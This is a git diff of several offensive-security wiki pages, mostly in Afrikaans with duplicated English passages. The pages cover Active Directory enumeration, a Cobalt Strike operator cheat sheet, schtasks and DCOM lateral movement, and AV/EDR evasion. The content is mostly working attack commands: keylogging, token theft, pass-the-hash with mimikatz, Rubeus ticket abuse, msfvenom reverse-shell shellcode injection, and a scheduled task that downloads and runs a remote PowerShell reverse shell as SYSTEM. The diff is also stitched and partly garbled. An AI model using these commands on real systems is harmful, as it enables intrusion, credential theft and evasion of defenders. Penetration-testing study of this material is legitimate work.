As 'n aanvaller **hoë bevoegdhede oor 'n GPO** het, kan hy in staat wees om **privesc** te benut deur **toestemmings aan 'n gebruiker toe te voeg**, **'n plaaslike admin gebruiker** aan 'n gasheer toe te voeg of **'n geskeduleerde taak** (onmiddellik) te skep om 'n aksie uit te voer.\
Vir [**meer inligting daaroor en hoe om dit te misbruik, volg hierdie skakel**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
```powershell
```bash
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
@ -178,7 +178,7 @@ Leer hoe om **toestemmings oor GPO's en ACL's te benut** in:
{{#endref}}
### ACL
```powershell
```bash
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### Gedeelde lêers en vouers
```powershell
```bash
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Domein Vertroue
```powershell
```bash
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### Lae-hangende vrugte
```powershell
```bash
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -259,8 +259,8 @@ Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
```
### Verwyderde voorwerpe
```powershell
### Verwyderde objekte
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### MISC
#### SID na Naam
```powershell
```bash
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
```powershell
```bash
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Gebruik verskillende geloofsbriewe (argument)
```powershell
```bash
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### Verteenwoordig 'n gebruiker
```powershell
#### Vervang 'n gebruiker
```bash
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf
```
#### Stel waardes in
```powershell
```bash
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'

View File

@ -10,9 +10,9 @@
Die beacons van hierdie luisteraars hoef nie direk met die C2 te kommunikeer nie, hulle kan met dit kommunikeer deur ander beacons.
`Cobalt Strike -> Luisteraars -> Voeg by/Wysig` dan moet jy die TCP of SMB beacons kies
`Cobalt Strike -> Luisteraars -> Voeg by/Wysig` dan moet jy die TCP of SMB beacons kies.
* Die **TCP beacon sal 'n luisteraar in die geselekteerde poort stel**. Om met 'n TCP beacon te verbind, gebruik die opdrag `connect <ip> <port>` vanaf 'n ander beacon
* Die **TCP beacon sal 'n luisteraar in die geselekteerde poort stel**. Om met 'n TCP beacon te verbind, gebruik die opdrag `connect <ip> <port>` vanaf 'n ander beacon.
* Die **smb beacon sal luister in 'n pipenaam met die geselekteerde naam**. Om met 'n SMB beacon te verbind, moet jy die opdrag `link [target] [pipe]` gebruik.
### Genereer & Gasheer payloads
@ -28,35 +28,40 @@ Die beacons van hierdie luisteraars hoef nie direk met die C2 te kommunikeer nie
#### Genereer & Gasheer payloads
`Aanvalle -> Web Drive-by -> Geskepte Web Aflewering (S)` Dit sal 'n skrip/executable genereer om die beacon van cobalt strike af te laai in formate soos: bitsadmin, exe, powershell en python
`Aanvalle -> Web Drive-by -> Scripted Web Delivery (S)` Dit sal 'n script/executable genereer om die beacon van cobalt strike af te laai in formate soos: bitsadmin, exe, powershell en python.
#### Gasheer Payloads
As jy reeds die lêer het wat jy wil gasheer in 'n webbediener, gaan net na `Aanvalle -> Web Drive-by -> Gasheer Lêer` en kies die lêer om te gasheer en webbediener konfigurasie.
As jy reeds die lêer het wat jy in 'n webbediener wil gasheer, gaan net na `Aanvalle -> Web Drive-by -> Gasheer Lêer` en kies die lêer om te gasheer en webbediener konfigurasie.
### Beacon Opsies
<pre class="language-bash"><code class="lang-bash"># Voer plaaslike .NET binêre uit
execute-assembly </path/to/executable.exe>
# Let daarop dat om assemblies groter as 1MB te laai, die 'tasks_max_size' eienskap van die malleable profiel gewysig moet word.
# Skermskote
printscreen # Neem 'n enkele skermskoot via PrintScr metode
screenshot # Neem 'n enkele skermskoot
screenwatch # Neem periodieke skermskote van lessenaar
screenwatch # Neem periodieke skermskote van desktop
## Gaan na View -> Skermskote om hulle te sien
# keylogger
# sleutellogger
keylogger [pid] [x86|x64]
## View > Toetsaanslae om die getypte sleutels te sien
## View > Keystrokes om die getypte sleutels te sien
# poortskandering
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Spuit portscan aksie binne 'n ander proses
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Importeer Powershell module
## Importeer Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell <skryf net powershell cmd hier>
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <skryf net powershell cmd hier> # Dit gebruik die hoogste ondersteunde powershell weergawe (nie oppsec nie)
powerpick <cmdlet> <args> # Dit skep 'n sakrifisiale proses gespesifiseer deur spawnto, en spuit UnmanagedPowerShell daarin vir beter opsec (nie logging nie)
powerpick Invoke-PrivescAudit | fl
psinject <pid> <arch> <commandlet> <arguments> # Dit spuit UnmanagedPowerShell in die gespesifiseerde proses om die PowerShell cmdlet uit te voer.
# Gebruiker impersonasie
## Token generasie met kredensiale
@ -73,7 +78,7 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
## Steel token van pid
## Soos make_token maar steel die token van 'n proses
steal_token [pid] # Ook, dit is nuttig vir netwerk aksies, nie plaaslike aksies nie
## Vanuit die API dokumentasie weet ons dat hierdie aanmeldtipe "die oproeper toelaat om sy huidige token te kloon". Dit is waarom die Beacon-uitvoer sê Impersonated <current_username> - dit impersonate ons eie gekloonde token.
## Uit die API dokumentasie weet ons dat hierdie aanmeldtipe "die oproeper toelaat om sy huidige token te kloon". Dit is waarom die Beacon-uitset sê Impersonated <current_username> - dit impersonate ons eie gekloonde token.
ls \\computer_name\c$ # Probeer om die gegenereerde token te gebruik om toegang tot C$ in 'n rekenaar te verkry
rev2self # Stop om die token van steal_token te gebruik
@ -85,18 +90,19 @@ spawnas [domain\username] [password] [listener] #Doen dit vanaf 'n gids met lees
inject [pid] [x64|x86] [listener]
## Vanuit 'n OpSec oogpunt: Moet nie kruis-platform inspuitings uitvoer tensy jy regtig moet nie (bv. x86 -> x64 of x64 -> x86).
## Pass the hash
## Hierdie wysigingsproses vereis die patching van LSASS geheue wat 'n hoë risiko aksie is, vereis plaaslike admin regte en is nie al te lewensvatbaar as Protected Process Light (PPL) geaktiveer is nie.
## Pass die hash
## Hierdie modifikasie proses vereis die patching van LSASS geheue wat 'n hoë risiko aksie is, vereis plaaslike admin regte en is nie al te haalbaar as Protected Process Light (PPL) geaktiveer is nie.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Pass the hash deur mimikatz
## Pass die hash deur mimikatz
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
## Sonder /run, spaw mimikatz 'n cmd.exe, as jy as 'n gebruiker met Desktop loop, sal hy die shell sien (as jy as SYSTEM loop, is jy reg om te gaan)
steal_token <pid> #Steel token van proses geskep deur mimikatz
## Pass the ticket
## Pass die kaartjie
## Versoek 'n kaartjie
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## Skep 'n nuwe aanmeldsessie om met die nuwe kaartjie te gebruik (om nie die gecompromitteerde een te oorskry nie)
make_token <domain>\<username> DummyPass
@ -104,13 +110,13 @@ make_token <domain>\<username> DummyPass
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## Pass the ticket van SYSTEM
## Pass die kaartjie van SYSTEM
## Genereer 'n nuwe proses met die kaartjie
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Steel die token van daardie proses
steal_token <pid>
## Onttrek kaartjie + Pass the ticket
## Onthaal kaartjie + Pass die kaartjie
### Lys kaartjies
execute-assembly C:\path\Rubeus.exe triage
### Dump interessante kaartjie deur luid
@ -131,18 +137,18 @@ jump [method] [target] [listener]
## psexec_psh x86 Gebruik 'n diens om 'n PowerShell een-liner uit te voer
## winrm x86 Voer 'n PowerShell skrip via WinRM uit
## winrm64 x64 Voer 'n PowerShell skrip via WinRM uit
## wmi_msbuild x64 wmi laterale beweging met msbuild inline c# taak (oppsec)
remote-exec [method] [target] [command]
remote-exec [method] [target] [command] # remote-exec gee nie uitset terug nie
## Metodes:
<strong>## psexec Afgeleë uitvoering via Diensbeheerder
</strong>## winrm Afgeleë uitvoering via WinRM (PowerShell)
## psexec Afgeleë uitvoering via Diensbeheerder
## winrm Afgeleë uitvoering via WinRM (PowerShell)
## wmi Afgeleë uitvoering via WMI
## Om 'n beacon met wmi uit te voer (dit is nie in die jump opdrag nie) laai net die beacon op en voer dit uit
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# Pass sessie na Metasploit - Deur luisteraar
## Op metaploit gasheer
msf6 > use exploit/multi/handler
@ -158,68 +164,195 @@ beacon> spawn metasploit
# Pass sessie na Metasploit - Deur shellcode inspuiting
## Op metasploit gasheer
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## Voer msfvenom uit en berei die multi/handler luisteraar voor
## Voer msfvenom uit en berei die multi/handler luisteraar voor.
## Kopieer bin lêer na cobalt strike gasheer
ps
shinject <pid> x64 C:\Payloads\msf.bin #Inspuit metasploit shellcode in 'n x64 proses
shinject <pid> x64 C:\Payloads\msf.bin #Spuit metasploit shellcode in 'n x64 proses
# Pass metasploit sessie na cobalt strike
## Genereer stageless Beacon shellcode, gaan na Aanvalle > Pakkette > Windows Executable (S), kies die gewenste luisteraar, kies Raw as die Uitvoer tipe en kies Gebruik x64 payload.
## Gebruik post/windows/manage/shellcode_inject in metasploit om die gegenereerde cobalt strike shellcode in te spuit
## Genereer stageless Beacon shellcode, gaan na Aanvalle > Pakkette > Windows Executable (S), kies die gewenste luisteraar, kies Raw as die Uitset tipe en kies Gebruik x64 payload.
## Gebruik post/windows/manage/shellcode_inject in metasploit om die gegenereerde cobalt strike shellcode in te spuit.
# Pivoting
## Maak 'n socks proxy in die spanbediener
beacon> socks 1080
# SSH verbinding
beacon> ssh 10.10.17.12:22 gebruikersnaam wagwoord</code></pre>
beacon> ssh 10.10.17.12:22 username password</code></pre>
## Vermy AVs
## Opsec
### Artefak Kit
### Voer-Assembly uit
Gewoonlik in `/opt/cobaltstrike/artifact-kit` kan jy die kode en vooraf-gecompileerde templates (in `/src-common`) van die payloads wat cobalt strike gaan gebruik om die binêre beacons te genereer, vind.
Die **`execute-assembly`** gebruik 'n **sakrifisiale proses** deur middel van afstand proses inspuiting om die aangeduide program uit te voer. Dit is baie luidrugtig aangesien sekere Win API's gebruik word om binne 'n proses in te spuit wat elke EDR nagaan. Daar is egter 'n paar pasgemaakte gereedskap wat gebruik kan word om iets in dieselfde proses te laai:
Deur [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) met die gegenereerde agterdeur (of net met die gecompileerde template) kan jy vind wat die verdediger laat afgaan. Dit is gewoonlik 'n string. Daarom kan jy net die kode wat die agterdeur genereer, wysig sodat daardie string nie in die finale binêre verskyn nie.
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- In Cobalt Strike kan jy ook BOF (Beacon Object Files) gebruik: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
Die agressor skrip `https://github.com/outflanknl/HelpColor` sal die `helpx` opdrag in Cobalt Strike skep wat kleure in opdragte sal plaas wat aandui of hulle BOFs (groen) is, of hulle is Frok&Run (geel) en soortgelyk, of hulle is Prosesuitvoering, inspuiting of soortgelyk (rooi). Dit help om te weet watter opdragte meer stil is.
### Tree as die gebruiker
Jy kan gebeurtenisse soos `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` nagaan:
- Sekuriteit EID 4624 - Gaan al die interaktiewe aanmeldings na om die gewone werksure te ken.
- Stelsel EID 12,13 - Gaan die afsluit/aanvang/slaap frekwensie na.
- Sekuriteit EID 4624/4625 - Gaan inkomende geldige/ongeldige NTLM pogings na.
- Sekuriteit EID 4648 - Hierdie gebeurtenis word geskep wanneer platte kredensiale gebruik word om aan te meld. As 'n proses dit genereer, het die binêre moontlik die kredensiale in duidelike teks in 'n konfigurasielêer of binne die kode.
Wanneer jy `jump` van cobalt strike gebruik, is dit beter om die `wmi_msbuild` metode te gebruik om die nuwe proses meer wettig te laat lyk.
### Gebruik rekenaar rekeninge
Dit is algemeen dat verdedigers vreemde gedrag wat deur gebruikers gegenereer word nagaan en **diensrekeninge en rekenaarrekeninge soos `*$` van hul monitering uitsluit**. Jy kan hierdie rekeninge gebruik om laterale beweging of regte eskalasie uit te voer.
### Gebruik stageless payloads
Stageless payloads is minder luidrugtig as staged ones omdat hulle nie 'n tweede fase van die C2 bediener hoef af te laai nie. Dit beteken dat hulle geen netwerkverkeer genereer na die aanvanklike verbinding nie, wat dit minder waarskynlik maak om deur netwerk-gebaseerde verdediging opgespoor te word.
### Tokens & Token Winkel
Wees versigtig wanneer jy tokens steel of genereer, want dit mag moontlik wees vir 'n EDR om al die tokens van al die threads op te som en 'n **token wat aan 'n ander gebruiker behoort** of selfs SYSTEM in die proses te vind.
Dit maak dit moontlik om tokens **per beacon** te stoor sodat dit nie nodig is om dieselfde token weer en weer te steel nie. Dit is nuttig vir laterale beweging of wanneer jy 'n gesteelde token verskeie kere moet gebruik:
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
Wanneer jy lateraal beweeg, is dit gewoonlik beter om **'n token te steel as om 'n nuwe een te genereer** of 'n pass the hash aanval uit te voer.
### Guardrails
Cobalt Strike het 'n funksie genaamd **Guardrails** wat help om die gebruik van sekere opdragte of aksies te voorkom wat deur verdedigers opgespoor kan word. Guardrails kan geconfigureer word om spesifieke opdragte te blokkeer, soos `make_token`, `jump`, `remote-exec`, en ander wat algemeen gebruik word vir laterale beweging of regte eskalasie.
Boonop bevat die repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) ook 'n paar kontroles en idees wat jy kan oorweeg voordat jy 'n payload uitvoer.
### Kaartjies enkripsie
In 'n AD wees versigtig met die enkripsie van die kaartjies. Standaard sal sommige gereedskap RC4 enkripsie vir Kerberos kaartjies gebruik, wat minder veilig is as AES en standaard op datum omgewings sal AES gebruik. Dit kan opgespoor word deur verdedigers wat vir swak enkripsie algoritmes monitor.
### Vermy Standaarde
Wanneer jy Cobalt Strike gebruik, sal die SMB pype standaard die naam `msagent_####` en `"status_####` hê. Verander daardie name. Dit is moontlik om die name van die bestaande pype van Cobalt Strike met die opdrag: `ls \\.\pipe\` na te gaan.
Boonop, met SSH sessies, word 'n pyp genaamd `\\.\pipe\postex_ssh_####` geskep. Verander dit met `set ssh_pipename "<new_name>";`.
Ook in post eksploitasie aanval kan die pype `\\.\pipe\postex_####` met `set pipename "<new_name>"` gewysig word.
In Cobalt Strike profiele kan jy ook dinge soos:
- Vermy om `rwx` te gebruik
- Hoe die proses inspuiting gedrag werk (watter API's gebruik sal word) in die `process-inject {...}` blok
- Hoe die "fork and run" werk in die `post-ex {…}` blok
- Die slaap tyd
- Die maksimum grootte van binêre wat in geheue gelaai moet word
- Die geheue voetafdruk en DLL inhoud met `stage {...}` blok
- Die netwerk verkeer
### Bypass geheue skandering
Sommige EDRs skandeer geheue vir sommige bekende malware handtekeninge. Cobalt Strike laat jou toe om die `sleep_mask` funksie as 'n BOF te wysig wat in staat sal wees om die agterdeur in geheue te enkripteer.
### Luidrugtige proc inspuitings
Wanneer jy kode in 'n proses inspuit, is dit gewoonlik baie luidrugtig, dit is omdat **geen gewone proses gewoonlik hierdie aksie uitvoer nie en omdat die maniere om dit te doen baie beperk is**. Daarom kan dit opgespoor word deur gedrag-gebaseerde opsporingstelsels. Boonop kan dit ook opgespoor word deur EDRs wat die netwerk skandeer vir **threads wat kode bevat wat nie op skyf is nie** (alhoewel prosesse soos blaaiers wat JIT gebruik dit gewoonlik het). Voorbeeld: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID en PPID verhoudings
Wanneer jy 'n nuwe proses spaw, is dit belangrik om **'n gewone ouer-kind** verhouding tussen prosesse te handhaaf om opsporing te vermy. As svchost.exec iexplorer.exe uitvoer, sal dit verdag lyk, aangesien svchost.exe nie 'n ouer van iexplorer.exe in 'n normale Windows omgewing is nie.
Wanneer 'n nuwe beacon in Cobalt Strike gespaw word, word standaard 'n proses wat **`rundll32.exe`** gebruik geskep om die nuwe luisteraar te laat loop. Dit is nie baie stil nie en kan maklik deur EDRs opgespoor word. Boonop, `rundll32.exe` word sonder enige args uitgevoer wat dit selfs meer verdag maak.
Met die volgende Cobalt Strike opdrag kan jy 'n ander proses spesifiseer om die nuwe beacon te spaw, wat dit minder opspoorbaar maak:
```bash
spawnto x86 svchost.exe
```
U kan ook hierdie instelling **`spawnto_x86` en `spawnto_x64`** in 'n profiel verander.
### Proxie-aanvallersverkeer
Aanvallers sal soms in staat moet wees om gereedskap plaaslik te loop, selfs op Linux-masjiene, en die verkeer van die slagoffers na die gereedskap te laat bereik (bv. NTLM relay).
Boonop, soms om 'n pass-the-hash of pass-the-ticket aanval uit te voer, is dit meer stealthy vir die aanvaller om **hierdie hash of kaartjie in sy eie LSASS-proses** plaaslik by te voeg en dan daarvandaan te pivot in plaas daarvan om 'n LSASS-proses van 'n slagoffer masjien te verander.
U moet egter **versigtig wees met die gegenereerde verkeer**, aangesien u dalk ongewone verkeer (kerberos?) van u backdoor-proses stuur. Hiervoor kan u na 'n blaaierproses pivot (alhoewel u dalk betrap kan word om jouself in 'n proses in te spuit, so dink aan 'n stealth manier om dit te doen).
```bash
### Avoiding AVs
#### AV/AMSI/ETW Bypass
Check the page:
{{#ref}}
av-bypass.md
{{#endref}}
#### Artifact Kit
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
Na die wysiging van die kode, voer net `./build.sh` uit vanaf dieselfde gids en kopieer die `dist-pipe/` gids na die Windows kliënt in `C:\Tools\cobaltstrike\ArtifactKit`.
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
Moet nie vergeet om die aggressiewe skrif `dist-pipe\artifact.cna` te laai om Cobalt Strike aan te dui om die hulpbronne van die skyf te gebruik wat ons wil hê en nie diegene wat gelaai is nie.
### Hulpbronstel
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
Die Hulpbronstel-gids bevat die sjablone vir Cobalt Strike se skrif-gebaseerde payloads, insluitend PowerShell, VBA en HTA.
#### Resource Kit
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
Deur [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) saam met die sjablone te gebruik, kan jy vind wat die verdediger (AMSI in hierdie geval) nie hou nie en dit aanpas:
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
Deur die gedetecteerde lyne te wysig, kan 'n sjabloon gegenereer word wat nie gevang sal word nie.
Moet nie vergeet om die aggressiewe skrip `ResourceKit\resources.cna` te laai om Cobalt Strike aan te dui om die hulpbronne van die skyf te gebruik wat ons wil hê en nie diegene wat gelaai is nie.
Modifying the detected lines one can generate a template that won't be caught.
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
#### Function hooks | Syscall
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
This can be set in the profile or suing the command **`syscall-method`**
However, this could also be noisy.
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Verander wagwoord
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Verander powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Verander $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```

View File

@ -10,6 +10,8 @@ Daar is verskillende maniere om opdragte in eksterne stelsels uit te voer, hier
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**RDPexec**](rdpexec.md)
- [**SCMexec**](scmexec.md)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)

View File

@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
Jy kan **Impacket se `atexec.py`** gebruik om op afstand op afstandstelsels opdragte uit te voer met die AT-opdrag. Dit vereis geldige geloofsbriewe (gebruikersnaam en wagwoord of hash) vir die teikenstelsel.
```bash
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
```
U kan ook [SharpLateral](https://github.com/mertdas/SharpLateral) gebruik.
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
U kan [SharpMove](https://github.com/0xthirteen/SharpMove) gebruik:
```bash
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
```
Meer inligting oor die [**gebruik van schtasks met silver tickets hier**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -10,21 +10,21 @@ Distributed Component Object Model (DCOM) objekke bied 'n interessante vermoë v
```bash
Get-CimInstance Win32_DCOMApplication
```
Die COM objek, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), stel die skripting van MMC snap-in operasies in staat. Opmerklik is dat hierdie objek 'n `ExecuteShellCommand` metode onder `Document.ActiveView` bevat. Meer inligting oor hierdie metode kan [hier](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>) gevind word. Kontroleer dit wat dit uitvoer:
Die COM objek, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), stel die skripting van MMC snap-in operasies in staat. Opmerklik, hierdie objek bevat 'n `ExecuteShellCommand` metode onder `Document.ActiveView`. Meer inligting oor hierdie metode kan [hier](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>) gevind word. Kontroleer dit wat dit uitvoer:
Hierdie funksie fasiliteer die uitvoering van opdragte oor 'n netwerk deur 'n DCOM toepassing. Om met DCOM op afstand as 'n admin te kommunikeer, kan PowerShell soos volg gebruik word:
```powershell
```bash
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Hierdie opdrag maak verbinding met die DCOM-toepassing en keer 'n instansie van die COM-objek terug. Die ExecuteShellCommand-metode kan dan aangeroep word om 'n proses op die afstandsbediener uit te voer. Die proses behels die volgende stappe:
Kontroleer metodes:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Kry RCE:
```powershell
```bash
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -45,18 +45,23 @@ Twee spesifieke objekte, `ShellBrowserWindow` en `ShellWindows`, is beklemtoon w
Vir `ShellWindows`, wat 'n ProgID ontbreek, fasiliteer die .NET metodes `Type.GetTypeFromCLSID` en `Activator.CreateInstance` objekinstansie met behulp van sy AppID. Hierdie proses benut OleView .NET om die CLSID vir `ShellWindows` te verkry. Sodra dit geïnstantieer is, is interaksie moontlik deur die `WindowsShell.Item` metode, wat lei tot metode-aanroep soos `Document.Application.ShellExecute`.
Voorbeeld PowerShell-opdragte is verskaf om die objek te instansieer en opdragte op afstand uit te voer:
```powershell
```bash
# Example
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
# Need to upload the file to execute
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
```
### Laterale Beweging met Excel DCOM-objekte
### Laterale Beweging met Excel DCOM Objekte
